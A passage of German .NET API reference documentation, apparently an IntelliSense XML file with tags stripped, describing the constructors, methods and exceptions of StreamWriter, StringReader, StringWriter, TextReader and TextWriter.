Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + + ist schreibgeschützt. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und der Standardpuffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + + oder ist null. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream unter Verwendung der angegebenen Codierung und Puffergröße und lässt optional den Stream geöffnet. + Der Stream, in den geschrieben werden soll. + Die zu verwendende Zeichencodierung. + Die Puffergröße in Byte. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + + oder ist null. + + ist negativ. + + ist schreibgeschützt. + + + Ruft einen Wert ab, der angibt, ob der nach jedem Aufruf von den Puffer in den zugrunde liegenden Stream wegschreibt, oder legt diesen Wert fest. + true, um zum Entleeren des Puffers zu zwingen, andernfalls false. + 1 + + + Ruft den zugrunde liegenden Stream ab, der eine Schnittstelle zu einem Sicherungsspeicher bildet. + Der Stream, in den dieser StreamWriter schreibt. + 2 + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die im Konstruktor für die aktuelle Instanz angegebene oder , sofern keine Codierung angegeben wurde. + 2 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an den zugrunde liegenden Stream. + Der aktuelle Writer wird geschlossen. + Ein E/A-Fehler ist aufgetreten. + Die aktuelle Codierung unterstützt das Anzeigen einer Hälfte eines Unicode-Ersatzzeichenpaars nicht. + 1 + + + Löscht alle Puffer für diesen Stream asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Stream wurde freigegeben. + + + Stellt einen StreamWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt ein Zeichen in den Stream. + Das in den Stream zu schreibende Zeichen. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Zeichenarray in den Stream. + Ein Zeichenarray mit den zu schreibenden Daten.Wenn den Wert null ist, wird nichts geschrieben. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt ein Teilarray von Zeichen in den Stream. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + E/A-Fehler. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + 1 + + + Schreibt eine Zeichenfolge in den Stream. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert NULL hat, wird nichts geschrieben. + + ist true, oder der -Puffer ist voll, und der aktuelle Writer ist geschlossen. + + ist true, oder der -Puffer ist voll, und der Inhalt des Puffers kann nicht in den zugrunde liegenden Stream fester Größe geschrieben werden, da der sich am Ende des Streams befindet. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Ein Zeichenarray, das die zu schreibenden Daten enthält. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die Zeichenfolge, die in den Stream geschrieben werden soll.Wenn den Wert null ist, wird nichts geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Stream zu schreibende Zeichen. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Streamwriter wird freigegeben. + Der Streamwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Implementiert einen , der aus einer Zeichenfolge liest. + 2 + + + Initialisiert eine neue Instanz der -Klasse, die aus der angegebenen Zeichenfolge liest. + Die Zeichenfolge, mit der der initialisiert werden soll. + Der -Parameter ist null. + + + Gibt die vom verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt das nächste verfügbare Zeichen zurück, ohne es zu verarbeiten. + Eine ganze Zahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Stream keine Suchvorgänge unterstützt. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest das nächste Zeichen aus der Eingabezeichenfolge und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen in der zugrunde liegenden Zeichenfolge oder -1, wenn keine weiteren Zeichen verfügbar sind. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest einen Zeichenblock aus der Eingabezeichenfolge und verschiebt die Zeichenposition um die durch angegebene Anzahl von Zeichen nach vorn. + Die Gesamtanzahl der in den Puffer gelesenen Zeichen.Diese kann kleiner als die Anzahl der angeforderten Zeichen sein, wenn diese Anzahl von Zeichen derzeit nicht verfügbar ist, oder 0, wenn das Ende der zugrunde liegenden Zeichenfolge erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Der Anfangsindex im Puffer. + Die Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen asynchron aus der aktuellen Zeichenkette und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Zeichenfolgenende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende der Zeichenfolge erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer geschrieben wurde, erfolgt die Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile der aktuellen Zeichenfolge oder null, wenn das Ende der Zeichenfolge erreicht ist. + Der aktuelle Reader ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + 2 + + + Liest eine Zeile von Zeichen asynchron aus der aktuellen Zeichenkette und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Zeichenfolgenreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Der Inhalt ab der aktuellen Position bis zum Ende der zugrunde liegenden Zeichenfolge. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der aktuelle Reader ist geschlossen. + 2 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Streams und gibt diese als einzelne Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende der Zeichenfolge. + Die Anzahl der Zeichen ist niedriger als . + Der Zeichenfolgen-Reader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Implementiert einen zum Schreiben von Informationen in eine Zeichenfolge.Die Informationen werden in einem zugrunde liegenden gespeichert. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatierungssteuerelement. + Ein -Objekt zum Steuern der Formatierung. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen . + Der StringBuilder, in den geschrieben werden soll. + + ist null. + + + Initialisiert eine neue Instanz der -Klasse zum Schreiben in den angegebenen und mit dem angegebenen Formatanbieter. + Der StringBuilder, in den geschrieben werden soll. + Ein -Objekt zum Steuern der Formatierung. + + ist null. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional auch die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft die ab, in der die Ausgabe geschrieben wird. + Die Encoding, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + + + Gibt den zugrunde liegenden zurück. + Der zugrunde liegende StringBuilder. + 2 + + + Gibt eine Zeichenfolge zurück, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + Die Zeichenfolge, die die bisher in den aktuellen StringWriter geschriebenen Zeichen enthält. + 2 + + + Schreibt ein Zeichen in die Zeichenfolge. + Das zu schreibende Zeichen. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Teilarray von Zeichen in die Zeichenfolge. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + + oder ist negativ. + ( + )> .Length. + Der Writer ist geschlossen. + 2 + + + Schreibt eine Zeichenfolge in die aktuelle Zeichenfolge. + Die zu schreibende Zeichenfolge. + Der Writer ist geschlossen. + 2 + + + Schreibt ein Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn den Wert null hat, wird nichts in den Stream geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in die Zeichenfolge zu schreibende Zeichen. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Position im Puffer, an der mit dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge gefolgt von einem Zeichen für den Zeilenabschluss asynchron in die aktuelle Zeichenfolge. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Zeichenfolgenwriter wird freigegeben. + Der Zeichenfolgenwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Stellt ein Leseprogramm dar, das eine sequenzielle Serie von Zeichenfolgen lesen kann. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Stellt einen TextReader ohne zu lesende Daten bereit. + 1 + + + Liest das nächste Zeichen, ohne den Zustand des Readers oder der Zeichenquelle zu ändern.Gibt das nächste verfügbare Zeichen zurück, ohne es tatsächlich aus dem Reader zu lesen. + Eine Ganzzahl, die das nächste zu lesende Zeichen darstellt, oder auch -1, wenn keine weiteren Zeichen verfügbar sind oder der Reader keine Suchvorgänge unterstützt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest das nächste Zeichen aus dem Text-Reader und verschiebt die Zeichenposition um ein Zeichen nach vorn. + Das nächste Zeichen im Textreader, bzw. -1, wenn keine weiteren Zeichen verfügbar sind.Die Standardimplementierung gibt -1 zurück. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Reader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , abhängig davon, ob die Daten im Reader verfügbar sind.Diese Methode gibt 0 (null) zurück für den Fall, dass sie aufgerufen wird, wenn keine Zeichen mehr zu lesen sind. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Readers erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die Methodenrückgabe. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Die Anzahl der gelesenen Zeichen.Die Anzahl ist kleiner oder gleich , je nachdem, ob alle Eingabezeichen gelesen wurden. + Dieser Parameter enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + -1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen. + + ist null. + Die Länge des Puffers minus ist kleiner als . + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 2 + + + Liest asynchron eine angegebene Höchstanzahl von Zeichen aus dem aktuellen Textreader und schreibt die Daten in einen Puffer, wobei am angegebenen Index begonnen wird. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die Gesamtzahl der Bytes, die in den Puffer gelesen werden.Der Ergebniswert kann niedriger als die Anzahl der angeforderten Bytes sein, wenn die Anzahl an derzeit verfügbaren Bytes kleiner ist als die angeforderte Anzahl, oder sie kann 0 (null) sein, wenn das Textende erreicht ist. + Enthält nach dem Beenden dieser Methode das angegebene Zeichenarray mit den Werten zwischen und ( + - 1), die durch die aus der aktuellen Quelle gelesenen Zeichen ersetzt wurden. + Die Position in , an der mit dem Schreiben begonnen wird. + Die maximale Anzahl der zu lesenden Zeichen.Wenn das Ende des Texts erreicht ist, bevor die angegebene Anzahl von Zeichen in den Puffer gelesen wurde, erfolgt die aktuelle Methodenrückgabe. + + ist null. + + oder ist negativ. + Die Summe aus und ist größer als die Pufferlänge. + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest eine Zeile von Zeichen aus dem Textleser und gibt die Daten als Zeichenfolge zurück. + Die nächste Zeile des Readers oder null, wenn alle Zeichen gelesen wurden. + E/A-Fehler. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Der ist geschlossen. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest eine Zeile von asynchron Zeichen aus dem aktuellen Stream und gibt die Daten als Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält die nächste Zeile aus dem Textreader oder null, wenn alle Zeichen gelesen wurden. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Liest alle Zeichen von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Zeichenfolge mit allen Zeichen von der aktuellen Position bis zum Ende des Textreaders. + E/A-Fehler. + Der ist geschlossen. + Es ist nicht genügend Speicherplatz vorhanden, um einen Puffer für die zurückgegebene Zeichenfolge zu reservieren. + Die Anzahl der Zeichen in der nächsten Zeile ist größer als . + 1 + + + Liest alle Zeichen asynchron von der aktuellen Position bis zum Ende des Text-Readers und gibt diese als eine Zeichenfolge zurück. + Eine Aufgabe, die den asynchronen Lesevorgang darstellt.Der Wert des -Parameters enthält eine Zeichenfolge mit den Zeichen von der aktuellen Position bis zum Ende des Textreaders. + Die Anzahl der Zeichen ist niedriger als . + Der Textreader wurde freigegeben. + Der Reader wird gerade durch einen früheren Lesevorgang verwendet. + + + Stellt einen Writer dar, der eine sequenzielle Serie von Zeichen schreiben kann.Diese Klasse ist abstrakt. + 2 + + + Initialisiert eine neue Instanz der -Klasse. + + + Initialisiert eine neue Instanz der -Klasse mit dem angegebenen Formatanbieter. + Ein -Objekt zum Steuern der Formatierung. + + + Speichert die für diesen TextWriter verwendeten Zeilenendemarken. + + + Gibt alle vom -Objekt verwendeten Ressourcen frei. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Gibt beim Überschreiben in einer abgeleiteten Klasse die Zeichencodierung zurück, in der die Ausgabe geschrieben ist. + Die Zeichencodierung, in der die Ausgabe geschrieben wird. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + 1 + + + Löscht sämtliche Puffer für den aktuellen Writer asynchron und veranlasst die Ausgabe aller gepufferten Daten an das zugrunde liegende Gerät. + Eine Aufgabe, die die asynchrone Leerung darstellt. + Der Textwriter wird freigegeben. + Der Writer wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Ruft ein Objekt zum Steuern der Formatierung ab. + Ein -Objekt für eine bestimmte Kultur oder die Formatierung der aktuellen Kultur, wenn keine andere Kultur angegeben wurde. + 2 + + + Ruft die Zeichenfolge für den Zeilenabschluss ab, die vom aktuellen TextWriter verwendet wird, oder legt diese fest. + Die Zeichenfolge für den Zeilenabschluss für den aktuellen TextWriter. + 2 + + + Stellt einen TextWriter ohne Sicherungsspeicher bereit, in den zwar geschrieben, aus dem jedoch nicht gelesen werden kann. + 1 + + + Schreibt die Textdarstellung eines Boolean-Werts in die Textzeichenfolge oder den Stream. + Der zu schreibende Boolean-Wert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichenarray in die Textzeichenfolge oder den Stream. + Das in den Textstream zu schreibende Zeichenarray. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Teilarray von Zeichen in die Textzeichenfolge oder den Stream. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Objekts in die Textzeichenfolge oder den Stream, indem für das Objekt die ToString-Methode aufgerufen wird. + Das zu schreibende Objekt. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts in die Textzeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + + oder ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne 